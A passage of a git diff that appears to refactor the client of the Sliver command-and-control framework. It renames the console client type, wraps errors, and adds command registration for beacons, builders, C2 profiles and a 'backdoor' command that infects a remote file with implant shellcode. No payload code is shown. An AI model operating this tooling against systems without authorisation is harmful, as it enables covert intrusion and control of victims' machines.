ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { latestTag, err := githubLatestTagParser(armoryPkg, clientConfig) if err != nil { @@ -341,7 +341,7 @@ func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, return sig, tarGz, nil } -// We need to intercept the 302 redirect to determine the latest version tag +// We need to intercept the 302 redirect to determine the latest version tag. func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) { client := httpClient(clientConfig) client.CheckRedirect = func(req *http.Request, via []*http.Request) error { diff --git a/client/command/armory/search.go b/client/command/armory/search.go index b20a8967c3..5d8561ecbf 100644 --- a/client/command/armory/search.go +++ b/client/command/armory/search.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ArmorySearchCmd - Search for packages by name -func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmorySearchCmd - Search for packages by name. +func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) refresh(clientConfig) @@ -55,9 +55,11 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } matchedExts := []*extensions.ExtensionManifest{} - for _, ext := range exts { - if nameExpr.MatchString(ext.CommandName) { - matchedExts = append(matchedExts, ext) + for _, extm := range exts { + for _, ext := range extm.ExtCommand { + if nameExpr.MatchString(ext.CommandName) { + matchedExts = append(matchedExts, extm) + } } } if len(matchedAliases) == 0 && len(matchedExts) == 0 { diff --git a/client/command/armory/update.go b/client/command/armory/update.go index 76676355e9..ea8e7a87a1 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ArmoryUpdateCmd - Update all installed extensions/aliases -func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ArmoryUpdateCmd - Update all installed extensions/aliases. +func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) refresh(clientConfig) @@ -66,7 +66,7 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string { +func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string { cachedAliases, _ := packagesInCache() results := []string{} for _, aliasManifestPath := range assets.GetInstalledAliasManifests() { @@ -89,7 +89,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons return results } -func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string { +func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string { _, cachedExtensions := packagesInCache() results := []string{} for _, extManifestPath := range assets.GetInstalledExtensionManifests() { @@ -104,10 +104,11 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver for _, latestExt := range cachedExtensions { // Right now we don't try to enforce any kind of versioning, it is assumed if the version from // the armory differs at all from the local version, the extension is out of date. - if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version { - results = append(results, localManifest.CommandName) + if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version { + results = append(results, localManifest.Name) } } } + return results } diff --git a/client/command/backdoor/backdoor.go b/client/command/backdoor/backdoor.go index 9cdc64de29..66e2c2e346 100644 --- a/client/command/backdoor/backdoor.go +++ b/client/command/backdoor/backdoor.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// BackdoorCmd - Command to inject implant code into an existing binary -func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BackdoorCmd - Command to inject implant code into an existing binary. +func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -56,7 +56,7 @@ func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/backdoor/commands.go b/client/command/backdoor/commands.go new file mode 100644 index 0000000000..1b56221d6d --- /dev/null +++ b/client/command/backdoor/commands.go @@ -0,0 +1,39 @@ +package backdoor + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + backdoorCmd := &cobra.Command{ + Use: consts.BackdoorStr, + Short: "Infect a remote file with a sliver shellcode", + Long: help.GetHelpFor([]string{consts.BackdoorStr}), + Args: cobra.ExactArgs(1), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + BackdoorCmd(cmd, con, args) + }, + } + flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "profile to use for service binary") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(backdoorCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) + + return []*cobra.Command{backdoorCmd} +} diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index 409d8ee824..8689680cf2 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsCmd - Display/interact with beacons -func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BeaconsCmd - Display/interact with beacons. +func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -87,14 +87,15 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } + PrintBeacons(beacons.Beacons, filter, filterRegex, con) } -// PrintBeacons - Display a list of beacons -func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) { +// PrintBeacons - Display a list of beacons. +func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { if len(beacons) == 0 { con.PrintInfof("No beacons 🙁\n") return @@ -103,7 +104,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp con.Printf("%s\n", tw.Render()) } -func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer { +func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer { width, _, err := term.GetSize(0) if err != nil { width = 999 @@ -112,6 +113,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) wideTermWidth := con.Settings.SmallTermWidth < width + settings.SetMaxTableSize(tw) if wideTermWidth { tw.AppendHeader(table.Row{ "ID", diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go new file mode 100644 index 0000000000..0ff27c04f1 --- /dev/null +++ b/client/command/beacons/commands.go @@ -0,0 +1,109 @@ +package beacons + +import ( + "context" + "fmt" + "strings" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + beaconsCmd := &cobra.Command{ + Use: consts.BeaconsStr, + Short: "Manage beacons", + Long: help.GetHelpFor([]string{consts.BeaconsStr}), + GroupID: consts.SliverHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + BeaconsCmd(cmd, con, args) + }, + } + flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) { + f.StringP("kill", "k", "", "kill the designated beacon") + f.BoolP("kill-all", "K", false, "kill all beacons") + f.BoolP("force", "F", false, "force killing the beacon") + + f.StringP("filter", "f", "", "filter beacons by substring") + f.StringP("filter-re", "e", "", "filter beacons by regular expression") + }) + completers.NewFlagCompsFor(beaconsCmd, func(comp *carapace.ActionMap) { + (*comp)["kill"] = BeaconIDCompleter(con) + }) + beaconsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a beacon", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsRmCmd(cmd, con, args) + }, + } + carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con).Usage("beacon to delete (optional, prompts if no args given)")) + beaconsCmd.AddCommand(beaconsRmCmd) + + beaconsWatchCmd := &cobra.Command{ + Use: consts.WatchStr, + Short: "Watch your beacons", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsWatchCmd(cmd, con, args) + }, + } + beaconsCmd.AddCommand(beaconsWatchCmd) + + beaconsPruneCmd := &cobra.Command{ + Use: consts.PruneStr, + Short: "Prune stale beacons automatically", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsPruneCmd(cmd, con, args) + }, + } + flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) { + f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin") + }) + beaconsCmd.AddCommand(beaconsPruneCmd) + + return []*cobra.Command{beaconsCmd} +} + +// BeaconIDCompleter completes beacon IDs. +func BeaconIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + results := make([]string, 0) + + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, b := range beacons.Beacons { + link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress) + id := fmt.Sprintf("%s (%d)", b.Name, b.PID) + userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, b.ID[:8]) + results = append(results, desc) + } + } + + return carapace.ActionValuesDescribed(results...).Tag("beacons"). + Invoke(c).Filter(c.Args...).ToA() + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/beacons/helpers.go b/client/command/beacons/helpers.go index e12b8f7183..be772a12b7 100644 --- a/client/command/beacons/helpers.go +++ b/client/command/beacons/helpers.go @@ -34,21 +34,21 @@ import ( ) var ( - // ErrNoBeacons - No sessions available + // ErrNoBeacons - No sessions available. ErrNoBeacons = errors.New("no beacons") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") - // ErrBeaconNotFound + // ErrBeaconNotFound. ErrBeaconNotFound = errors.New("no beacon found for this ID") ) -// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions -func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) { +// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions. +func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons @@ -102,12 +102,12 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) { return nil, ErrNoSelection } -func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) { +func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons @@ -120,12 +120,12 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea return nil, ErrBeaconNotFound } -func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) { +func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons diff --git a/client/command/beacons/prune.go b/client/command/beacons/prune.go index 8c0ea55078..a408efb53d 100644 --- a/client/command/beacons/prune.go +++ b/client/command/beacons/prune.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsPruneCmd - Prune stale beacons automatically -func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BeaconsPruneCmd - Prune stale beacons automatically. +func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { duration, _ := cmd.Flags().GetString("duration") pruneDuration, err := time.ParseDuration(duration) if err != nil { @@ -42,7 +42,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } pruneBeacons := []*clientpb.Beacon{} @@ -64,7 +64,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args for index, beacon := range pruneBeacons { beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) continue } con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID) @@ -80,7 +80,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args for _, beacon := range pruneBeacons { _, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) errCount++ } } diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index f3d8ee77d4..d0ee108d94 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -19,24 +19,50 @@ package beacons */ import ( + "context" + "strings" + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsRmCmd - Display/interact with beacons -func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - beacon, err := SelectBeacon(con) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - grpcCtx, cancel := con.GrpcContext(cmd) - defer cancel() - _, err = con.Rpc.RmBeacon(grpcCtx, beacon) - if err != nil { - con.PrintErrorf("%s\n", err) - return +// BeaconsRmCmd - Display/interact with beacons. +func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + if len(args) > 0 { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("Failed to get beacons: %s", err) + return + } + + for _, arg := range args { + for _, beac := range beacons.GetBeacons() { + if strings.HasPrefix(beac.ID, arg) { + grpcCtx, cancel := con.GrpcContext(cmd) + _, err = con.Rpc.RmBeacon(grpcCtx, beac) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + } + + cancel() + } + } + } + } else { + beacon, err := SelectBeacon(con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + grpcCtx, cancel := con.GrpcContext(cmd) + defer cancel() + _, err = con.Rpc.RmBeacon(grpcCtx, beacon) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + con.PrintInfof("Beacon removed (%s)\n", beacon.ID) } - con.PrintInfof("Beacon removed (%s)\n", beacon.ID) } diff --git a/client/command/beacons/watch.go b/client/command/beacons/watch.go index 210de23102..9c4a514dab 100644 --- a/client/command/beacons/watch.go +++ b/client/command/beacons/watch.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsWatchCmd - Watch your beacons in real-ish time -func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BeaconsWatchCmd - Watch your beacons in real-ish time. +func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { done := waitForInput() defer func() { con.Printf(console.UpN+console.Clearln+"\r", 1) diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index ade5846ab4..d12ebf248b 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -32,11 +32,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BuildersCmd - List external builders -func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BuildersCmd - List external builders. +func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if len(builders.Builders) == 0 { @@ -46,9 +46,10 @@ func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) { +func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Operator", "Templates", "Platform", "Compiler Targets", }) diff --git a/client/command/builders/commands.go b/client/command/builders/commands.go new file mode 100644 index 0000000000..d80cbe44fe --- /dev/null +++ b/client/command/builders/commands.go @@ -0,0 +1,29 @@ +package builders + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + buildersCmd := &cobra.Command{ + Use: consts.BuildersStr, + Short: "List external builders", + Long: help.GetHelpFor([]string{consts.BuildersStr}), + Run: func(cmd *cobra.Command, args []string) { + BuildersCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{buildersCmd} +} diff --git a/client/command/c2profiles/c2profiles.go b/client/command/c2profiles/c2profiles.go index e056cfcdd5..921796bcec 100644 --- a/client/command/c2profiles/c2profiles.go +++ b/client/command/c2profiles/c2profiles.go @@ -39,7 +39,7 @@ import ( ) // C2ProfileCmd list available http profiles -func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profileName, _ := cmd.Flags().GetString("name") if profileName == constants.DefaultC2Profile { @@ -61,7 +61,7 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s PrintC2Profiles(profile, con) } -func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { protocols := []string{constants.HttpStr, constants.HttpsStr} profileName, _ := cmd.Flags().GetString("name") if profileName == "" { @@ -248,7 +248,7 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client } // PrintImplantBuilds - Print the implant builds on the server -func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) { +func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) diff --git a/client/command/c2profiles/commands.go b/client/command/c2profiles/commands.go new file mode 100644 index 0000000000..a7c3bd09ac --- /dev/null +++ b/client/command/c2profiles/commands.go @@ -0,0 +1,52 @@ +package c2profiles + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns all C2 profile management commands. +func Commands(con *console.SliverClient) []*cobra.Command { + C2ProfileCmd := &cobra.Command{ + Use: consts.C2ProfileStr, + Short: "Display C2 profile details", + GroupID: consts.NetworkHelpGroup, + Long: help.GetHelpFor([]string{consts.C2ProfileStr}), + Run: func(cmd *cobra.Command, args []string) { + C2ProfileCmd(cmd, con, args) + }, + } + flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display") + }) + completers.NewFlagCompsFor(C2ProfileCmd, func(comp *carapace.ActionMap) { + (*comp)["name"] = generate.HTTPC2Completer(con) + }) + + ImportC2ProfileCmd := &cobra.Command{ + Use: consts.ImportC2ProfileStr, + Short: "Import HTTP C2 profile", + Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}), + Run: func(cmd *cobra.Command, args []string) { + ImportC2ProfileCmd(cmd, con, args) + }, + } + flags.Bind(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name") + f.StringP("file", "f", "", "Path to C2 configuration file to import") + f.BoolP("overwrite", "o", false, "Overwrite profile if it exists") + }) + + C2ProfileCmd.AddCommand(ImportC2ProfileCmd) + + return []*cobra.Command{C2ProfileCmd} +} diff --git a/client/command/command.go b/client/command/command.go index 840be14e43..62d60bc231 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -21,45 +21,31 @@ package command import ( "strings" - "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" -) -const defaultTimeout = 60 + "github.com/reeflective/console" -// Flags is a convenience function to bind flags to a given command. -// name - The name of the flag set (can be empty). -// cmd - The command to which the flags should be bound. -// flags - A function exposing the flag set through which flags are declared. -func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { - flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. - flags(flagSet) // Let the user bind any number of flags to it. + client "github.com/bishopfox/sliver/client/console" +) - if persistent { - cmd.PersistentFlags().AddFlagSet(flagSet) - } else { - cmd.Flags().AddFlagSet(flagSet) - } -} +// ***** Exported Command API Types ****** -// FlagComps is a convenience function for adding completions to a command's flags. -// cmd - The command owning the flags to complete. -// bind - A function exposing a map["flag-name"]carapace.Action. -func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { - comps := make(carapace.ActionMap) - bind(&comps) +// SliverBinder is the signature of command yielder functions passed and used by +// the Sliver client. Currently this function type is only used as an alias for +// loading command sets easily, and is not part of any interface. +type SliverBinder func(con *client.SliverClient) []*cobra.Command - carapace.Gen(cmd).FlagCompletion(comps) -} +// CobraRunnerE is a simple type alias to denote cobra Runners with errors. +// The type is mostly use to register additional pre/post runners for commands. +type CobraRunnerE func(_ *cobra.Command, _ []string) error + +// ***** Other Commands Binding Utilties ****** -// hideCommand generates a cobra annotation map with a single -// console.CommandHiddenFilter key, which value is a comma-separated list -// of filters to use in order to expose/hide commands based on requirements. -// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd -// if the target session/beacon is not a Windows host. -func hideCommand(filters ...string) map[string]string { +// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key +// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. +// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. +// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. +func RestrictTargets(filters ...string) map[string]string { if len(filters) == 0 { return nil } @@ -76,3 +62,63 @@ func hideCommand(filters ...string) map[string]string { console.CommandFilterKey: filts, } } + +// makeBind returns a commandBinder helper function. +// @menu - The command menu to which the commands should be bound (either server or implant menu). +func makeBind(cmd *cobra.Command, con *client.SliverClient) commandBinder { + return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { + found := false + + // Ensure the given command group is available in the menu. + if group != "" { + for _, grp := range cmd.Groups() { + if grp.Title == group { + found = true + break + } + } + + if !found { + cmd.AddGroup(&cobra.Group{ + ID: group, + Title: group, + }) + } + } + + // Bind the command to the root + for _, command := range cmds { + subcommands := command(con) + + // Always rudely overwrite the current + // command group: we don't cobra to panic. + for _, sub := range subcommands { + sub.GroupID = group + } + + cmd.AddCommand(subcommands...) + } + } +} + +// commandBinder is a helper used to bind commands to a given menu, for a given "command help group". +// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. +// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. +type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) + +// [ Core ] +// [ Sessions ] +// [ Execution ] +// [ Filesystem ] +// [ Info ] +// [ Network (C2)] +// [ Network tools ] +// [ Payloads ] +// [ Privileges ] +// [ Processes ] +// [ Aliases ] +// [ Extensions ] + +// Take care of: +// - double bind help command +// - double bind session commands diff --git a/client/command/completers/completers.go b/client/command/completers/completers.go index 6973751922..75bdcece48 100644 --- a/client/command/completers/completers.go +++ b/client/command/completers/completers.go @@ -20,10 +20,44 @@ package completers import ( "net" + "time" "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) +const ( + days = 24 * time.Hour + + CacheSessions = 1 * time.Minute // CacheSessions caches session/beacon IDs for a minute on-disk. + CacheEncodersInfo = 1 * time.Minute // CacheCompilerInfo caches encoders info for a minute on disk. + + CacheMsf = 7 * days // CacheMsf caches server Metasploit info for a week on disk + CacheCompilerInfo = 1 * time.Hour // CacheCompilerInfo caches server compiler info for an hour on disk. +) + +// NewCompsFor registers the command to the application completion engine and returns +// you a type through which you can register all sorts of completions for this command, +// from flag arguments, positional ones, per index or remaining, etc. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewCompsFor(cmd *cobra.Command) *carapace.Carapace { + return carapace.Gen(cmd) +} + +// BindFlagCompletions is a convenience function for binding completers to flags requiring arguments. +// (It wraps a few steps to be used through the *carapace.Carapace type so you don't have to bother). +// cmd - The target command/subcommand which flags to be completed. +// bind - A function using a map "flag-name":carapace.Action for you to bind completions to the flag. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewFlagCompsFor(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { + comps := make(carapace.ActionMap) + bind(&comps) + + carapace.Gen(cmd).FlagCompletion(comps) +} + // ClientInterfacesCompleter completes interface addresses on the client host. func ClientInterfacesCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { @@ -55,3 +89,32 @@ func ClientInterfacesCompleter() carapace.Action { return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') }) } + +// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address. +func LocalProxyCompleter() carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + prefix := "" + + hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action { + switch len(c.Parts) { + case 0: + return ClientInterfacesCompleter() + case 1: + return carapace.ActionMessage("server port") + default: + return carapace.ActionValues() + } + }) + + return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action { + switch len(c.Parts) { + case 0: + return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://") + case 1: + return hostPort + default: + return carapace.ActionValues() + } + }).Invoke(c).Prefix(prefix).ToA() + }) +} diff --git a/client/command/console/console.go b/client/command/console/console.go new file mode 100644 index 0000000000..35218996cf --- /dev/null +++ b/client/command/console/console.go @@ -0,0 +1,67 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the 